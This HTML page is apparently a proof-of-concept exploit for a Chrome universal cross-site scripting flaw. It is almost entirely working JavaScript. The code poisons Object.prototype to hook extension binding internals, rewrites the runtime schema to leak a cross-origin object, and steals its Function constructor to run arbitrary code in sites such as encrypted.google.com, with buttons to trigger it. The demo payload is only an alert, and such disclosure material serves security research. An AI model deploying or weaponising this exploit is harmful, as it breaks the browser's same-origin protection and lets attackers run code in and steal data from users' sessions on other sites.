<html>
<body>
<script>
function mutateSchema(schema) {
var $Object = schema.constructor
var $Function = $Object.constructor
// If this assumption does not hold, then we have to do a bit more trickery with getters
// so that the availability check in binding.js (addProperties) passes.
console.assert(
'lastError' in schema.properties,
'Assuming that schema is runtime, and runtime.lastError is defined'
)
// Any code in this Function runs in the singleton execution environment that persists across page loads.
$Function(
'schema_dot_properties',
`
// This must be a property that passes GetAvailability(schema.namespace + "." + propertyName).
// Luckily, we can recursively the same property name because the namespace is concatenated
// with the property name, not the full object path.
// So we can have something like runtime.lastError.lastError :)
const WHITELISTED_PROP = 'lastError';
schema_dot_properties[WHITELISTED_PROP] = {
type: 'object',
// This activates the branch that ultimately leaks an object from the page to our script.
// We can then steal the Function constructor from that object and then run arbitrary code
// through that.
properties: {
[WHITELISTED_PROP]: {
$ref: 'StorageArea',
value: [],
},
},
get value() {
// Create a new one upon access to make sure that every page gets a
// new instance of the interceptor.
return new Proxy({}, {
set(target, propname, value, receiver) {
target[propname] = value;
if (propname === WHITELISTED_PROP && typeof value === 'object' && value !== null) {
// Yay, we now got a (possibly) cross-origin object.
var $$Function = value.constructor.constructor;
$$Function('alert("Hello " + document.URL + " in " + navigator.userAgent)')();
}
return true;
},
});
},
};
`
)(schema.properties)
schema.types.unshift({
id: 'StorageArea',
type: 'object',
js_module: 'StorageArea',
functions: []
})
console.log('Overwritten scheme.')
}
// Call this function to leak the module.
function triggerSchemaModification() {
// Once per page because the exploit hooks on the lazy initialization of chrome.runtime,
// and after initializing it, it won't trigger again.
if (triggerSchemaModification.runOncePerPageLoad) return
triggerSchemaModification.runOncePerPageLoad = true
var hooked = false
var intercepted = false
var runtimeintercepted = false
var alreadyintercepted = false
// Hook on the creation of Binding and modify the schema.
//
// function Binding(schema) {
// this.schema_ = schema;
// this.apiFunctions_ = new APIFunctions(schema.namespace);
// this.customEvent_ = null;
// this.customHooks_ = []; <------------ Hooking here.
// };
Object.defineProperty(Object.prototype, 'customHooks_', {
configurable: true,
get() {
// customHooks_ has no value by default.
},
set(customHooks_) {
if (customHooks_ === true) return // Ignore devtools setter.
var runHooks_ = this.runHooks_
console.assert(
typeof runHooks_ === 'function',
'runHooks_ should be a function!'
)
Object.defineProperties(this, {
// Transparently assign the unavailableApiFunctions_, so that the behavior of
// binding does not change unexpectedly.
customHooks_: {
configurable: true,
writable: true,
enumerable: true,
value: customHooks_
},
// This is our evil stuff. The runHooks_ method gets a reference to the schema.
runHooks_: {
enumerable: true,
get() {
hooked = true
return function(mod, schema) {
intercepted = true
if (!schema) {
// For Chrome 49-.
schema = this.schema_
}
if (schema.namespace === 'runtime' && schema.types) {
runtimeintercepted = true
if (schema.types[0].id === 'StorageArea') {
console.log('Warning: Schema was already modified.')
alreadyintercepted = true
} else {
console.log('Trying to overwrite scheme...')
mutateSchema(schema)
}
}
return runHooks_.call(this, mod, schema)
}
}
}
})
}
})
// Trigger the lazy module system.
chrome.runtime
if (alreadyintercepted) return // This is fine, no need to check assertions.
console.assert(hooked, 'hook should have been set up.')
console.assert(intercepted, 'hook should have been called.')
console.assert(
runtimeintercepted,
'hook should have been called for the runtime schema'
)
}
function showUXSSAfterNavigation() {
triggerSchemaModification()
location.href = 'https://encrypted.google.com'
}
function showUXSSInNewTab() {
triggerSchemaModification()
window.open('https://encrypted.google.com')
}
function showUXSSInFrame() {
triggerSchemaModification()
var f = document.createElement('iframe')
// Using data URLs in case google uses X-Frame-Options.
f.src = 'data:text/html,<script>chrome.runtime;</script>data-URLs have a unique origin' document.body.appendChild(f)
}
</script>
The UXSS vulnerability persists until the current RenderThread is destroyed (e.g. by a process swap).
<br>
<button onclick="showUXSSAfterNavigation()">Show UXSS after navigation</button>
<button onclick="showUXSSInNewTab()">Show UXSS in new tab</button>
<button onclick="showUXSSInFrame()">Show UXSS in frame</button>
</body>
</html>
暂无评论